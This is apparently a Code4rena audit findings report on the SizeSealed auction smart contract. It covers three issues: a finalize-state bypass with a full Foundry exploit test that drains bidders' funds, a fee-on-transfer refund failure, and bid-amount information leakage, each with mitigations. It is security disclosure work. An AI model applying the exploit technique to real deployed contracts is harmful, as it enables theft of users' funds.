SIZE contest - KingNFT's results

Lines of code

https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L238 https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L33

Vulnerability details

Impact

The 'SizeSealed' uses 'a.data.lowestQuote' to judge the auction state, attack can construct special parameters to manipulate 'a.data.lowestQuote' and draw all funds from auction.

modifier atState(Auction storage a, States _state) {
    if (// ...) {
        // ...
    } else if (a.data.lowestQuote != type(uint128).max) { // @audit not safe
        if (_state != States.Finalized) revert InvalidState();
    }
    // ...
    _;
}

Proof of Concept

A successful exploit testcase, put it in 'Exploit.t.sol'

// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.17;

import {Test} from "forge-std/Test.sol";
import {Merkle} from "murky/Merkle.sol";
import {FixedPointMathLib} from "solmate/utils/FixedPointMathLib.sol";

import {ECCMath} from "../util/ECCMath.sol";
import {SizeSealed} from "../SizeSealed.sol";
import {MockBuyer} from "./mocks/MockBuyer.sol";
import {MockERC20} from "./mocks/MockERC20.sol";
import {MockSeller} from "./mocks/MockSeller.sol";
import {ISizeSealed} from "../interfaces/ISizeSealed.sol";

contract ExploitTest is Test, ISizeSealed {

    SizeSealed auction;

    MockSeller seller;
    MockERC20 quoteToken;
    MockERC20 baseToken;

    MockBuyer bidder1;
    MockBuyer bidder2;

    uint32 startTime;
    uint32 endTime;
    uint32 unlockTime;
    uint32 unlockEnd;
    uint128 cliffPercent;

    uint128 baseToSell;

    uint256 reserveQuotePerBase = 0.5e6 * uint256(type(uint128).max) / 1e6;
    uint128 minimumBidQuote = 1e6;

    function setUp() public {
        quoteToken = new MockERC20("USD Coin", "USDC", 6);
        baseToken = new MockERC20("Tether USD", "USDT", 6);

        auction = new SizeSealed();

        seller = new MockSeller(address(auction), quoteToken, baseToken);

        bidder1 = new MockBuyer(address(auction), quoteToken, baseToken);
        bidder2 = new MockBuyer(address(auction), quoteToken, baseToken);

        startTime = uint32(block.timestamp);
        endTime = uint32(block.timestamp) + 60;
        unlockTime = uint32(block.timestamp) + 100;
        unlockEnd = uint32(block.timestamp) + 1000;
        cliffPercent = 0;

        baseToSell = 10e6;

        vm.label(address(bidder1), "Bidder 1");
        vm.label(address(bidder2), "Bidder 2");
        vm.label(address(quoteToken), "Quote Token");
        vm.label(address(baseToken), "Base Token");
    }

    function testExploitFinalize() public {
        (uint256 beforeQuote, uint256 beforeBase) = seller.balances();
        uint256 aid = seller.createAuction(
            baseToSell, reserveQuotePerBase, minimumBidQuote, startTime, endTime, unlockTime, unlockEnd, cliffPercent
        );
        bidder1.setAuctionId(aid);
        bidder1.bidOnAuction(10e6, 10e6);
        bidder2.setAuctionId(aid);
        bidder2.bidOnAuction(10e6, 10e6);

        uint256[] memory bidIndices = new uint[](2);
        bidIndices[0] = 0;
        bidIndices[1] = 1;

        vm.warp(endTime);
        uint128 clearingQuote = type(uint128).max; // @audit key parameter for attack to success
        uint128 clearingBase = type(uint128).max; // @audit key parameter for attack to success
        seller.finalize(bidIndices, clearingBase, clearingQuote);
        seller.finalize(bidIndices, clearingBase, clearingQuote);
        seller.cancelAuction();
        (uint256 afterQuote, uint256 afterBase) = seller.balances();
        assertEq(beforeBase, afterBase);
        assertEq(beforeQuote + 10e6 + 10e6, afterQuote); // @audit seller gets all quote token without spending base token
    }
}

More clarifications Given

price = float(bidQuoteAmount) ÷ float(bidBaseAmount)
u128Max = type(uint128).max

We can construct parameters as

clearingBase = uint128(float(u128Max) ÷ price)   // [1]
clearingQuote = u128Max

If price >= 1.0, formula [1] has no overflow loss while converting to uint128, so there is a high change making

clearingQuote * u128Max / clearingBase = bidQuoteAmount * u128Max / bidBaseAmount

Bypass condition for 'State.Finalized'.

Tools Used

VS Code

Recommended Mitigation Steps

Don't use 'a.data.lowestQuote' as judging condition for 'State.Finalized' . Add a new state variable like 'bool finalized'.

struct AuctionData {
    // ...
    bool finalized;
    // ...
}

Lines of code

https://github.com/code-423n4/2022-11-size/blob/main/src/SizeSealed.sol#L164

Vulnerability details

Impact

In 'bid()' function, there is no security check if the actual received token is equal to 'quoteAmount' . When the quote token has transfer fee, the last bidder won't be able to get refund.

function bid(
    // ...
) external atState(idToAuction[auctionId], States.AcceptingBids) returns (uint256) {
    // ...

    EncryptedBid memory ebid;
    ebid.quoteAmount = quoteAmount;
    // ...
    a.bids.push(ebid);

    SafeTransferLib.safeTransferFrom(ERC20(a.params.quoteToken), msg.sender, address(this), quoteAmount); 
    // ...
}

Proof of Concept

Given

quoteToken = $TKN
fee = 5%
initBalanceOfContract = 0 $TKN

Bidder A bids with 100 $TKN, then

ebidA.quoteAmount = 100 $TKN
balanceOfContract = 100 $TKN * 95% = 95 $TKN

Bidder B bids with 100 $TKN, then

ebidB.quoteAmount = 100 $TKN
balanceOfContract = 95 $TKN + 100 $TKN * 95% = 190 $TKN

Bidder A cancels bid

ebidA.quoteAmount = 100 $TKN - 100 $TKN = 0 $TKN
balanceOfContract = 190 $TKN - 100 $TKN = 90 $TKN

Bidder B cancels bid

ebidB.quoteAmount = 100 $TKN - 100 $TKN = 0 $TKN
balanceOfContract = 90 $TKN - 100 $TKN = ??? // Failed

Tools Used

VS Code

Recommended Mitigation Steps

Revert if the actual received token is not equal to 'quoteAmount'.

Lines of code

https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L124

Vulnerability details

Impact

There is hign risk of infomation leakage due to bid with plain quote amount as input parameter.

Proof of Concept

People are always used to input neat data, for example, the probability of entering 1.2 is much greater than some thing like 1.279

So, let's say base token is ETH and the market price is 1560 USDT/ETH. If a bidder submits quote amount with $310, i can guess that he/she wants to buy 0.2 ETH with price 1550 USDT/ETH.

https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L124

Tools Used

VS Code

Recommended Mitigation Steps

Use 'maxQuoteAmount' instead of exact 'quoteAmount' and input 'quoteAmount' as an encrypted parameter. The calculation of 'maxQuoteAmount' can look like this

r = randInt(1, 2000)
maxQuoteAmount = quoteAmount * (10000 + r) / 10000
divider = 1
while (true) {
    divider *= 10
    next = maxQuoteAmount - (maxQuoteAmount % divider)
    if (next < quoteAmount) {
        break;
    }
    maxQuoteAmount = next
}